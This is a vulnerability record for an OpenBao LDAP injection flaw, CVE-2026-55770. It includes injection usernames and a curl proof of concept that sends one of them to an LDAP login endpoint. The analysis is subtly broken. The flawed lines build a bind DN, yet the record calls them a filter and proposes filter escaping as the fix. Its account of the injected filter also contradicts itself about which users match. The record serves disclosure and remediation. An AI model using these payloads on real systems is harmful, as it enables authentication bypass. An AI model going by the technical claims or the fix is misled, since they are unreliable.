{"id":"CVE-2026-55770","aliases":["GO-2026-5182"],"url":"https://o3.security/vulnerability/CVE-2026-55770","summary":"OpenBao: LDAPi ldaputil (wrong escape func)","details":"## 1. Description\n\n### Component\n\n`sdk/helper/ldaputil/client.go` — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.\n\n### Root Cause\n\nThe LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`:\n\n```go\n// Line 191 — UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", EscapeLDAPValue(username), cfg.UPNDomain)\n\n// Line 193 — User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)\n```\n\nThe problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `\"`, `\\`, `<`, `>`, and leading/trailing spaces.\n\nLDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\\`, and NUL (`\\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package.\n\nThe irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function.\n\n### Exploitation Mechanics\n\n```\nUsername: alice)(objectClass=*\n↓ EscapeLDAPValue (no-op — no DN special chars)\nalice)(objectClass=*\n↓ fmt.Sprintf(\"(&(objectClass=user)(sAMAccountName=%s))\", escapedUsername)\n(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))\n                              ^^ injection point\n```\n\nThe filter `(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to:\n- `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*`\n\nSince all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries.\n\n### Preconditions\n\n- LDAP authentication backend must be configured\n- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding\n- Attacker controls the `username` field at login time\n\n## 2. Proof of Concept\n\n```bash\n# Login with LDAP injection payload as username\ncurl -k -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"username\": \"alice)(sAMAccountName=*\",\n    \"password\": \"anything\"\n  }' \\\n  https://localhost:8200/v1/auth/ldap/login/admin\n\n# LDAP filter constructed:\n# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))\n#                   injection ──────────^\n# The filter matches the first user with objectClass=user\n# If the LDAP server returns admin's entry first, the token\n# is bound to the admin entity, inheriting all admin policies\n```\n\nThe LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.\n\n## 3. Impact\n\n| Impact | Detail |\n|--------|--------|\n| **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |\n| **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user |\n| **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |\n\n**Likelihood: HIGH** — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`.\n\n### Why This Is High Severity\n\nThe LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.\n\n## 4. Remediation\n\n### Primary Fix: Use ldap.EscapeFilter\n\nReplace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths:\n\n```go\nimport \"github.com/go-ldap/ldap/v3\"\n\n// Line 191 — UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", ldap.EscapeFilter(username), cfg.UPNDomain)\n\n// Line 193 — User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)\n```\n\n`EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`.\n\n### Audit: All Call Sites\n\nReview all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context:\n\n```bash\ngrep -rn \"EscapeLDAPValue\" /root/cve-audit/openbao/\n```\n\n### Defense-in-Depth\n\n- Apply the principle of least privilege to LDAP service accounts used by OpenBao\n- Use `UserFilter` with explicit attribute constraints to limit the search scope","published":"2026-06-19T21:42:01Z","modified":"2026-06-25T19:56:32.804682711Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/openbao/openbao","fixedVersion":null},{"ecosystem":"Go","name":"github.com/openbao/openbao","fixedVersion":"0.0.0-20260617104213-10b7825c714c"}],"fix":{"url":"https://github.com/openbao/openbao/pull/3306","label":"openbao/openbao#3306"},"references":[{"type":"WEB","url":"https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"},{"type":"WEB","url":"https://github.com/openbao/openbao/pull/3306"},{"type":"WEB","url":"https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"},{"type":"PACKAGE","url":"https://github.com/openbao/openbao"},{"type":"WEB","url":"https://github.com/openbao/openbao/releases/tag/v2.5.5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-25T19:56:32.804682711Z"}}